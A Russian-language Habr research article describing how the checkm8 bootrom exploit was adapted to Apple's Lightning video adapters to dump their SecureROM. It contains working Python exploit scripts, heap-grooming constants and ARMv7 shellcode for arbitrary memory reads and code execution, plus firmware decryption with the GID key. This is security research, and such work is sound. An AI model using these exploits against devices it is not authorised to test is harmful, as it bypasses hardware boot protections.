checkm8 для Lightning-видеоадаптеров Apple

toxewnq0zwvkhz4gradawldtdkc.png

Появление эксплойта checkm8 можно назвать одним из важнейших событий прошедшего года для исследователей продукции Apple. Ранее мы уже опубликовали технический анализ этого эксплойта. Сейчас сообщество активно развивает джейлбрейк checkra1n на основе checkm8, поддерживающий линейку устройств iPhone от 5s до X и позволяющий установить на iOS пакетный менеджер Cydia и с его помощью устанавливать различные пакеты и твики.

checkm8 в значительной степени опирается на смещения различных функций в SecureROM и данных в SRAM. В связи с этим могут возникнуть вопросы: как изначально был извлечен SecureROM конкретного устройства? Был ли он извлечен с помощью уязвимостей, лежащих в основе checkm8, или каким-то другим образом?

Наверное, ответить на эти вопросы могут лишь сами исследователи, принимавшие участие в разработке checkm8. Однако, в этой статье мы расскажем об одном из подходов к извлечению SecureROM, основанном на уязвимостях, используемых в checkm8, и требующем минимальных знаний о структуре памяти устройства. Описанный метод не является универсальным и будет работать только на устройствах без технологии безопасности W^X. В качестве примера мы рассмотрим Lightning-видеоадаптер Apple (да, в этом адаптере есть свой SoC с SecureROM) и продемонстрируем не только извлечение SecureROM, но и полную реализацию функциональности checkm8 для этого адаптера.


Введение

В конце 2012-го Apple выпустила два видеоадаптера для разъема Lightning:


  • Цифровой AV-адаптер Lightning — адаптер HDMI, поддерживает вывод видео и звука;
  • Адаптер Lightning/VGA — адаптер VGA, поддерживает только вывод видео.

Спустя некоторое время пользователи обнаружили, что внутри адаптеров есть полноценный SoC с архитектурой ARM — S5L8747 (далее это название будет использоваться, когда речь идет о SoC исследуемого адаптера). Возможно, этим и объясняется их довольно высокая по сравнению с другими подобными устройствами стоимость. Согласно The iPhone Wiki, рассматриваемые видеоадаптеры имеют кодовое название Haywire, а их прошивка загружается динамически при подключении к некоторому устройству (например, к iPhone) через Lightning.


mcs5kc4rsyjfuox2hrszfqqqpiy.jpeg

В прошлом году в Twitter появился тред за авторством @nyan_satan (перевод на русский на Хабре), в котором была собрана и дополнена вся имеющаяся информация о видеоадаптерах Apple. В том числе и о том, как подключить адаптер к ПК по USB.

Версия SecureROM у SoC S5L8747, который используется в устройствах Haywire, — 1413.8. Судя по версии, эти устройства почти наверняка уязвимы к checkm8, но на момент исследования проект ipwndfu и его форки не поддерживали S5L8747. Более того, в открытом доступе нам не удалось найти дамп SecureROM для S5L8747, из-за чего появился интерес к эксплуатации checkm8 на Haywire.

Прежде всего, нам нужно было подключить устройство к ПК. В твитах @nyan_satan были информация о том, как это сделать, и схема подключения. С интерфейсными платами для Lightning и Micro-USB подключиться к Haywire довольно просто, но оказалось, что достать их в короткие сроки (а нам хотелось закончить исследование в течение недели) трудно, поэтому мы решили воспользоваться подручными средствами: макетной платной, несколькими соединительными проводами, ненужным USB-кабелем, понижающим преобразователем на базе AMS1117, разъемом Lightning (был снят с другого, безнадежно испорченного в ходе экспериментов, адаптера Haywire), двухсторонним скотчем и синей изолентой. В результате мы получили следующее:


oyr8mbvps-l515ldtfnxr-ndh6k.jpeg


r_kycubjtuxgg05k9rmck6f_ieq.jpeg

Несмотря на свою неприглядность, получившаяся конструкция вполне работоспособна. При подключении к ПК в выводе dmesg мы получили заветную строку, и можно было приступать к более интересной части:

[  167.757532] usb 1-2: new high-speed USB device number 11 using xhci_hcd
[  167.888010] usb 1-2: New USB device found, idVendor=05ac, idProduct=1227
[  167.888015] usb 1-2: New USB device strings: Mfr=2, Product=3, SerialNumber=4
[  167.888017] usb 1-2: Product: Apple Mobile Device (DFU Mode)
[  167.888020] usb 1-2: Manufacturer: Apple Inc.
[  167.888022] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]


Поиск необходимых констант

Чтобы лучше понять изложенное ниже, нужно иметь представление о том, как работает эксплойт checkm8 и какие уязвимости он использует. Все это описано на примере iPhone 7 в статье «Технический анализ эксплойта checkm8». Сопоставив различные SoC и версии SecureROM, мы пришли к выводу, что S5L8747 больше всего похож на SoC S5L8947, используемый в Apple TV третьего поколения, поэтому эксплуатация уязвимостей будет отличаться от эксплуатации в iPhone 7. Рассмотрим наиболее важные различия между iPhone7 и Haywire:


  • В отличие от iPhone 7, где использовалась 64-битная архитектура armv8, в Haywire — 32-битная armv7. Кроме того, в Haywire на этапе исполнения SecureROM также отсутствуют технологии, препятствующие исполнению записываемой памяти (отсутствует WXN — бит в регистре SCTLR, препятствующий исполнению регионов памяти, доступных для записи; нет ограничений со стороны MMU). В связи с этим нет необходимости в callback-chain — code-reuse подходе, используемом для iPhone 7. Вместо этого управление будет передаваться напрямую на шеллкод в INSECURE_MEMORY;
  • В SecureROM 1704.10 и более ранних версий нет возможности контролировать утечки памяти, так как пакет нулевой длины (zero-length-packet) создается для каждого запроса в очереди. Поэтому на Haywire будет использоваться другой подход heap feng-shui: свободная область небольшого размера будет создаваться в конце кучи путем почти полного заполнения кучи с помощью утечек памяти. В остальном принцип не изменился: на очередной итерации работы DFU часть выделений памяти попадет в небольшой свободный чанк в конец кучи, остальное будет выделено в начале с некоторым смещением относительно предыдущей итерации, за счет чего можно будет перезаписать конфигурационные дескрипторы и объект запроса.

Для удачной эксплуатации checkm8 на Haywire необходимо определить основные параметры:


  • Количество запросов для заполнения кучи;
  • Необходимое смещение для переполнения объекта поля callback в объекте usb_device_io_request.

Для поиска необходимых значений можно воспользоваться перебором, опираясь на реакцию исследуемого устройства, которую можно различить с ПК. В ходе экспериментов выяснилось, что можно ориентироваться на сообщения ядра (вывод команды dmesg -w; исследование производилось на ПК под управлением ОС Ubuntu 16.04): так можно определить момент перезагрузки устройства, а также переполнение конфигурационного дескриптора или исполнение бесконечного цикла на устройстве. Также полезными оказались исключения, возникающие при отправке запросов.

Итак, напишем на основе checkm8.py скрипт для поиска нужных значений. В нем сделаем отправку USB-запросов более информативной с помощью вывода исключений, и определим переменные, значения которых нужно найти:


  • large_leak — необходимое количество запросов для удачного heap feng-shui;
  • padding — смещение от UaF-указателя до первого объекта usb_device_io_request на куче;
  • overwrite — значение, которым будет перезаписан usb_device_io_request.


checkm8-brute.py — скрипт для поиска нужных значений
from checkm8 import *

# make usb_req_* functions more informative
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
    try:
        device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
    except usb.core.USBError as ex:
        print ex  # need for more information

def usb_req_stall(device):   libusb1_no_error_ctrl_transfer(device,  0x2, 3,   0x0,  0x80,  0x0, 10)
def usb_req_leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40,  1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41,  1)

if __name__ == '__main__':
    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number

    # unknown values, need to brute
    large_leak = 100
    padding = 0x7c0
    overwrite = ''
    payload = ''
    assert len(overwrite) + padding <= 0x800

    # heap feng-shui
    usb_req_stall(device)
    for i in range(large_leak):
        usb_req_leak(device)
    usb_req_no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    usb_req_stall(device)
    usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding + overwrite, 100)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)

При запуске можно заметить, что на этапе heap feng-shui на определенном запросе исключение меняется с [Errno 110] Operation timed out на [Errno 19] No such device (it may have been disconnected). Дело в том, что размер кучи в Haywire значительно меньше, чем на устройствах iPhone, и даже 100 объектов запроса не могут быть в ней размещены. Однако, это отличная возможность определить необходимое значение large_leak. Так как исключение меняется на 45-ом запросе, будем перебирать, начиная с него.


g4a6mwekn2ryyxnjibiteyhkyus.png

На значении 43 в выводе dmesg -w можно обнаружить предупреждения о неожиданном конфигурационном дескрипторе. Если посмотреть в Wireshark на USB-пакеты, можно убедиться, что запрашиваемый дескриптор оказался переполнен.


uotnlli6_utwohjwzfqscc_a5ic.png

Таким образом, поиск необходимых констант почти закончен, и, экспериментируя со значением padding и overwrite, можно найти точное смещение первого дескриптора. При значении 43 — это 0×7a0, из-за чего значение usb_device_io_request находится за пределами UaF-буфера, и необходимо еще уменьшить large_leak. В ходе дальнейших экспериментов были получены значения large_leak = 41 и смещения первого дескриптора 0x6e0. Убедимся в правильности, перезаписав размер дескриптора с помощью overwrite = '\x09\x02\xff'. В Wireshark мы увидим следующий результат (вместо 25 ожидаемых байт было считано 255):


l2ru6xkjgzn8oc5xrei8uz-w71s.png

Полученные данные (значения дескрипторов и метаданные кучи) следует сохранить, они понадобятся в дальнейшем. Значение padding для переполнения usb_device_io_request вычисляется так: 0x6e0 (смещение до первого конфигурационного дескриптора) + 0x20 (размер области данных чанка с первым конфигурационным дескриптором) + 0x40 (размер целого чанка второго конфигурационного дескриптора) + 0x20 (размер метаданных чанка с usb_device_io_request) = 0x760.

Теперь можно передать управление по некоторому адресу. Предположительно, с помощью чтения за пределы конфигурационного дескриптора можно довольно точно определить нужные адреса. Но мы решили воспользоваться утекшими исходными кодами iBoot, которые достаточно легко найти в публичном доступе: из них можно узнать, что адрес загрузки для SoC S5L8747 — 0x22000000. Чтобы убедиться в этом, установим следующие значения искомых переменных и бесконечный цикл в качестве полезной нагрузки:

large_leak = 41
padding = 0x760
overwrite = struct.pack('<20xI', 0x22000000)
payload = '\xfe\xff\xff\xea'  # armv7 inf-loop

При отправке USB-запросов в полученном коде возникнут необычные задержки, а в логе dmesg через некоторое время появятся следующие сообщения:

[ 3097.066887] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
[ 3097.384557] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3102.497002] usb 1-2: device descriptor read/64, error -110
[ 3117.714855] usb 1-2: device descriptor read/64, error -110
[ 3117.930756] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3123.043369] usb 1-2: device descriptor read/64, error -110
[ 3138.261119] usb 1-2: device descriptor read/64, error -110
[ 3138.477092] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3143.493674] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
[ 3143.697698] usb 1-2: Device not responding to setup address.
[ 3143.901633] usb 1-2: device not accepting address 98, error -71
[ 3144.013617] usb 1-2: reset high-speed USB device number 98 using xhci_hcd

Устройство перестало отвечать на USB-запросы из-за исполнения бесконечного цикла. Таким образом, была получена возможность исполнять произвольный код в SecureROM на Lightning-видеоадаптере Apple, и теперь можно приступить непосредственно к его извлечению.


Извлечение SecureROM Haywire

Для извлечения SecureROM мы разработали шеллкод, который ищет строковые дескрипторы на куче и перезаписывает их данными из желаемого адреса. Для этого подойдет дескриптор названия продукта, в котором обычно содержится строка Apple Mobile Device (DFU Mode). Сами дескрипторы имеют следующую структуру: первый байт отведен под размер дескриптора, второй — его тип, а затем идет строка в кодировке UTF-16-LE. Для оптимизации в шеллкоде можно также изменить и размер найденного дескриптора на 0xff, чтобы за один раз извлекать 0xfd байт (т.к. два байта используются для размера и типа дескриптора). При переполнении usb_device_io_request также необходимо правильно переполнить метаданные кучи и значения дескрипторов (эти данные мы получили ранее за счет чтения за пределы конфигурационного дескриптора). Приведем код результата:


checkm8-leak.py — скрипт демонстрации произвольного чтения
from checkm8 import *
from keystone import *
from hexdump import *

if __name__ == '__main__':
    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number

    # unknown values, need to brute
    large_leak = 41
    padding = 0x6e0
    conf_desc = '0902190001010580320904000000fe01'\
                '00000721010a00000800000000000000'.decode('hex')
    chunk_meta = '08000000020000000000000000000000'\
                 '00000000000000000000000000000000'.decode('hex')  
    overwrite = conf_desc + chunk_meta + conf_desc + chunk_meta +\
        struct.pack('<20xI', 0x22000000)
    assert len(overwrite) + padding <= 0x800

    payload = '''
        push {r1-r7,lr}

        ldr r4, =0x2201c000
        mov r5, r4

        pattern_matching_loop:
        sub r4, r4, #1

        mov r0, #0
        adr r1, ptrn

        compare_loop:
        add r2, r4, r0, lsl #1
        cmp r2, r5
        bge pattern_matching_loop

        ldrb r3, [r1,r0]
        ldrb r6, [r2]
        cmp r3, r6
        bne pattern_matching_loop
        add r0, r0, #1
        cmp r0, #30
        beq found
        b compare_loop

        found:
        mov r0, #0xff
        strb r0, [r4, #-0x2]

        mov r0, #0
        mov r1, r4
        ldr r2, =0x200 # target address

        rewrite_loop:
        ldrb r3, [r2,r0]
        strb r3, [r1,r0]
        add r0, r0, #1
        cmp r0, #0xfd
        ble rewrite_loop

        pop {r1-r7,pc}

        ptrn:
        .asciz "Apple Mobile Device (DFU Mode)"
    '''

    ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
    payload, _ = ks.asm(payload)
    payload = ''.join(chr(i) for i in payload)

    # heap feng-shui
    usb_req_stall(device)
    for i in range(large_leak):
        usb_req_leak(device)
    usb_req_no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    usb_req_stall(device)
    usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, '\0' * padding + overwrite, 100)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    print '(%0.2f seconds)' % (time.time() - start)
    desc =  device.ctrl_transfer(0x80, 6, 0x303, 0, 0xff, 50)
    leak = ''.join(chr(i) for i in desc)[2:]
    hexdump(leak)
    dfu.release_device(device)

В качестве адреса для чтения был выбран 0x200, так как по этому адресу должна быть строка с версией SecureROM. При запуске получаем ожидаемое значение:

# python ./checkm8-leak.py
Found: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
(1.26 seconds)
00000000: 53 65 63 75 72 65 52 4F  4D 20 66 6F 72 20 73 35  SecureROM for s5
00000010: 6C 38 37 34 37 78 73 69  2C 20 43 6F 70 79 72 69  l8747xsi, Copyri
00000020: 67 68 74 20 32 30 31 31  2C 20 41 70 70 6C 65 20  ght 2011, Apple
00000030: 49 6E 63 2E 00 00 00 00  00 00 00 00 00 00 00 00  Inc.............
00000040: 52 45 4C 45 41 53 45 00  00 00 00 00 00 00 00 00  RELEASE.........
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 69 42 6F 6F 74 2D 31 34  31 33 2E 38 00 00 00 00  iBoot-1413.8....
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000C0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000D0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000E0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000F0: 00 00 00 00 00 00 00 00  00 00 00 00 00           .............

Используя данный подход, можно полностью сдампить весь SecureROM. За счет того, что Haywire всегда запускается в режиме DFU, этот процесс можно полностью автоматизировать, и на весь дамп потребуется менее часа. После этого можно приступить к поиску необходимых смещений для портирования checkm8 на Haywire.


Портирование checkm8 на Haywire

Для поиска необходимых функций и констант можно сравнивать SecureROM устройств, для которых checkm8 уже реализован, и SecureROM, извлеченный с Haywire. Сам процесс поиска описывать не будем, результат можете посмотреть в репозитории. К сожалению, после того, как все значения были найдены, ничего не заработало, устройство не переходило в pwned-DFU режим. Оказалось, что это вызвано двумя проблемами: отсутствие свободного пространства в куче и повреждение метаданных кучи. Первую проблему наверняка можно решить, подобрав другое, меньшее значение large_leak, а вторую — перезаписывая конфигурационные дескрипторы и метаданные чанков валидными значениями. Вместо этого можно воспользоваться дополнительным шеллкодом для восстановления метаданных и освобождения кучи, и затем уже передать управление на полезную нагрузку checkm8. В результате получился следующий шеллкод:

   push {r1-r7,lr}
   ldr r4, =0x2201b4e0  # leaked requests address
   mov r5, #0
   ldr r6, =0x361c # free function
   add r6, r6, #1
   # we need more free space, so clear leaked requests
loop:
   add r0, r4, r5
   blx r6
   add r5, r5, #0x40
   cmp r5, #0x780
   bne loop

   # restore original chunk meta-data
   ldr r4, =0x2201b340  # second conf descriptor chunk header
   ldr r0, =0x00000008  # original chunk header values
   ldr r1, =0x00000002
   str r0, [r4]
   str r1, [r4, #4]
   pop {r1-r7,lr}
   ldr r0, =0x22000000
   bx r0  # jump to checkm8 payload

Необходимые адреса на куче и нужные значения метаданных, используемые в шеллкоде, были получены с помощью метода чтения по произвольному адресу, описанному в предыдущей части статьи.

В результате был получен checkm8 с полностью рабочими примитивами: чтения и записи памяти, а также исполнения функций по произвольному адресу. Дополнив другие значения, используемые в ipwndfu, удалось получить доступ к функции шифрования и дешифрования с помощью GID-ключа и затем расшифровать вторую стадию загрузки Haywire с помощью утилиты xpwntool:


xv66yx8p_9d1lqukg7idzi4jpj4.png


Вывод

Описанный в статье метод извлечения SecureROM не требует особых версий устройств со включенной отладкой, дорогостоящих отладочных кабелей или специализированного оборудования. Конечно, этот метод работает далеко не на всех устройствах, а лишь на тех, где возможно исполнение кода в секции данных. В случае Apple, это устройства с 32-битной архитектурой armv7. checkm8 уже поддерживает большинство таких устройств, но не Haywire, именно поэтому мы и взяли его в качестве примера.

Ознакомиться с результатом можно в репозитории ipwndfu-haywire.

Теперь, имея возможность исполнять произвольный код в SecureROM, наконец-то можно попробовать запустить DOOM прямо на видеоадаптере Haywire.

Надеемся, что статья была интересной и полезной. Хотя и описанный подход специфичен для устройств Apple и уязвимостей из checkm8, он и его отдельные части могут быть применены в контексте других устройств.

Первоисточник


Ссылки


  1. Технический анализ эксплойта checkm8
  2. Luca Todesco, The One Weird Trick SecureROM Hates
  3. checkra1n
  4. Panic Blog, The Lightning Digital AV Adapter Surprise
  5. The iPhone Wiki, Haywire
  6. @nyan_satan, Haywire
  7. Habr, Как работает видеоадаптер Apple Lightning
  8. ipwndfu
  9. ipwndfu-haywire

© Habrahabr.ru